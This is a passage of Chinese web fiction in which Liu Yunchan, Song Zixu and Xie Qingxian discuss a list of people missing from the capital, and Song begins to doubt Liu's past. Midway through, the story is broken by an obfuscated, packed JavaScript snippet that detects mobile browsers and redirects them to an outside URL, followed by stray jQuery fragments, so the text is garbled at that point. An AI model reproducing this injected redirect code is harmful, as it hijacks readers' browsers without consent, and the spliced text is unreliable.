一道熟悉的声线自耳后传来,柳云蝉顺着声音转身望去。
仍是那一袭淡青色长袍,不染半分尘俗,身姿挺拔,长发端端正正地以玉冠束着,手上把玩着她方才怎么也没够到的甘草小盒。
青衣男子微微低下头,也与她道好:“柳姑娘好,真没想到一大早我能在这里遇见你,当真是算得上巧遇。”
“原是宋公子,今日巧遇。”
柳云蝉低声向宋子绪问好,她是没想过还能在这样一个僻静之地再遇上熟人的。
不,准确来说,宋子绪与她并不相熟,只是他常眯着眼,唇角微微上扬,温声说:“清欢兄的朋友就是我的朋友。”
伸手不打笑脸人。
这句话说的的确不错。
面对这张笑意盈盈的脸,柳云蝉也只好报以同样的反馈,嘴角含着一抹笑,说道:
“那宋公子可否将你手里盒甘草递给我?这甘草被放在最顶上,方才着实让我难办。”
宋子绪闻言眼底笑意更浓,指尖摩挲着药盒,没有立刻递过去,反倒微微侧身,将药盒举到与她视线平齐处,语气温软带点打趣:
“柳姑娘倒是直白,方才见你踮脚够了半晌,发髻都被蹭乱了,怎么不唤人搭把手?”
柳云蝉指尖微顿,下意识抬手拢了拢鬓边碎发,面上仍维持着从容:“不过些许小事,何必麻烦旁人。”
见她目光落在那木盒上,宋子绪顺势将盒子递到她掌心里。
“多谢宋公子。”
柳云蝉估摸着分量,抓了一把甘草,又左挑右捡了点别的药材,分别装量好,从腰间钱袋里豪气地抓了把银子丢到山羊胡子面前。
她做这些事的时候,宋子绪就在一旁静静地看着。见柳云蝉忙完,他也不急不慢地跟在她身后漫步。
两人闲聊。
“姑娘这药是为周公子所取?”
柳云蝉点了点头,称是。
“依我所见,周公子除了性子沉闷了些,我观他身体无恙,康健的很,竟然需要姑娘为他操劳至此吗?”宋子绪又问。
那双温情的眼此刻带着好奇探了过来。
柳云蝉指尖微紧,唇角笑意淡了些,语气平和:“他之前在京城便偶感风寒,虽无大碍,却也得仔细调理。”
宋子绪眉梢微挑,笑意里掺了几分玩味:“原来如此,倒是我多心了。
边说边聊,俩人便很快就回到杏花苑。一进门,便看见谢清欢于杏花树下站立。
他今日穿着白衣,素色锦缎裁得合身,腰间系着玉带,肩头落了朵朵粉白花瓣,身姿卓然立在纷扬落英中。
眉眼依旧清冷清隽,好看得不似凡中物,只是那往日清冷的眉眼此刻竟凝着几分沉郁。
听见脚步声,谢清欢缓缓抬眼,目光先落在柳云蝉身上,随即又扫过身侧的宋子绪,神色未变,只淡淡颔首:“柳姑娘,子绪。”
柳云蝉明显感知到谢清欢此刻状态不对。
谢清欢往日虽说也是冷着一张俊脸,但至少,他面对她时,眉眼间的冷意多多少少也融化掉一些,会露出藏在冷硬外表下,里面最柔软的、最隐私的、最甜蜜的一部分。
而不是像现在这样。
抿着唇,唇线绷得紧紧的,嘴角边缘往下垂,使本就冷淡的眉眼,出落得更加冷,又多添上几分狠厉。
他手里捏着一封信。
“怎么了……你怎么脸色这样差?”柳云蝉上前一步,开口询问道。
而宋子绪盯着他手中的信件默不作声,足足过了半晌才缓缓开口:“这上面写了什么?”
谢清欢把那张薄薄信纸递给两人。
白纸黑字,柳云蝉看得很清楚。
上面记录了半年以来京城失踪的所有人的姓名,但上一次谢清欢一一同她列出失踪人口时仅有七位,而现在的名单上又多了一位。
从先前的三女四男,变成了四女四男。
柳云蝉心下了然。
她虽面有难色,但反而强压下一口气,语气平和:“你冷静点,我们还有时间。”
宋子绪虽说也看见那张信纸,但碍于他常年不在京城长安,而是在江南这富饶地方做个字画生意。实在是对于好友谢清欢手下处理的案件不甚了解。
况且,谢清欢对于官府文书,难题悬案这些东西都极有自己的主见。平日里不会与人泄露案情,纵使他与谢清欢已经有五年交情,也不曾听他多嘴一句。
但为何……谢清欢对眼前这个女子如此特殊,柳云蝉到底有什么特殊?
宋子绪抬眼将她细细打量了一番。
柳云蝉无疑是美的,这点他不会否认。
许是出于自己容貌平平,人总是会在意自己没有拥有的东西,通常来说,他看人第一眼都是先观察皮相。
眼前女子的美并非那种灼眼的艳,眉峰似拢着淡淡云絮,眼尾微垂,哪怕只是静立在那里,明明穿着亮眼的鹅黄,周身也像裹着一层轻软的雾,淡得抓不住,却偏生勾着人。
可这美,京中贵女里也并非寻不到,谢清欢见过的绝色何止百千,怎会独独对她另眼相看?
想来,一定还有别的什么原因。
柳云蝉医术高超,为人治病不取钱财,素有“菩萨”之称。
这些是春桃告诉他的。
那丫鬟没有什么心机,瞒不了事,谁对她赏一个笑脸,她就会热热情情地围着你,对你好。
同在一个屋檐下,偶然闲聊便能轻而易举知道一些事情原委,甚至连周青的处境他都靠着说好话,哄着春桃,从春桃那里知道了不少。
但无论是谁,无论是春桃、还是齐半夏、又或者谢清欢,竟然无一人可以挑得出柳云蝉的错。
甚至于他自己,也觉得柳云蝉完美。
美丽、善良、聪明、善解人意。
这不可能。
人无完人,没有人是完美的。更奇怪的是,他们竟然是如此的、如此的相信她,
这样完美的人……倒真真像是演出来的。
相处这几天,他甚至从未听起柳云蝉谈起父母亲人,也不说想家,整日整日地围着周青转,就仿佛周青是她唯一救命稻草一般。
这不对劲。
谢清欢朝宋子绪微抿了一下唇,示意还有事,先行一步告退。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113404|195479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳云蝉紧随其后,随他一道挥别。俩人肩并肩,脚步未作半分停留,径直穿过回廊往西侧的僻静杏园走。
谢清欢指尖轻撩开垂落的花枝,待周遭只剩草叶摩挲的簌簌声,方转身停了脚步。
“少卿大人,这几日一定、一定要看好周青,他是最重要的。”
“他既然也是失踪人之一,那背后凶手就一定不会任周青流落在外。”
柳云蝉一身心思扑在周青身上,神思早飘了去,脚下仍下意识地往前跟着,全然没察觉身前之人已然驻足。
猝不及防撞上去时,她秀挺的鼻尖正磕在谢清欢胸膛前。酸麻的钝意瞬间漫开,惹得柳云蝉下意识蹙眉捂鼻,闷哼一声。
“唔……疼。”
她微仰着下颌,指尖轻轻揉着泛红的鼻尖,眼尾因那股酸意泛出一点薄红。倒也没管这段小插曲,继续说道:
“我方才说的,你可记住了?”
谢清欢低头看她鼻尖泛红,但仍旧一本正经的模样,忽觉心头焦躁之感慢慢沉了下来,心绪也安稳许多。
他先是默了几秒,才缓缓作答:
“记住了的,自然会护好他,毕竟我也不想看到再有人出事。”
“如今京城动乱,朝廷风云更是一瞬万变,实在是恼人得紧。”
说着说着,他语末又带上几分冷淡:“水心莲既然已经拿到,也是时候回长安了。”
风掠过花枝,落了片粉白的花瓣在柳云蝉发间,谢清欢目光凝了凝,指尖轻挑,将那瓣花拈了下来。
又垂眸道:“周青那边,我会派人寸步跟着,白日里守在他院外,夜里也留两人轮值,断不会让旁人有可乘之机。”
柳云蝉点了点头,很是赞同:“这样最好,我先回去为周青煎药,喂他服下,不必多待时日,即刻准备返程。”
两个人皆不愿再多浪费时间,果决地定下下结论:长安……越快回去越好。
——
谢清欢独自原路返回时,却见青衣素袍的宋子绪仍在他们方才攀谈的地方站立。
一脸认真思考状。
见到谢清欢那身亮眼的白出现时,宋子绪那张常挂着温和笑意的脸上,此刻透出几分关怀与不安。
谢清欢还本想上去告诉宋子绪,叫他不必担心他的事时,宋子绪上前跨了两步,直直地来到他跟前。
“清欢兄啊……你有没有觉着很奇怪?”
谢清欢不明所以,淡淡道:“子绪不必弯弯绕绕,你与我之间,何须客气,直说无妨。”
宋子绪便摇了摇他那把竹扇,轻轻晃开遮掩住下半张脸,只露出一双远山眉,丹凤眼。
他神神秘秘地竖起扇子,骨节分明的指腹抵着扇面,将两人的视线隔在一方竹影里。
宋子绪声音压得极低,混着穿堂的微风飘进谢清欢耳中:“你且想,这柳姑娘是何处人也,家属何处?”
竹扇轻敲掌心,宋子绪眼底藏着探究,却又带着几分熟稔的试探,没选择把话说死,留了点余地。
他凑近几分,声音又低了些:“我宋子绪别的不行,看人的眼光还是有的。”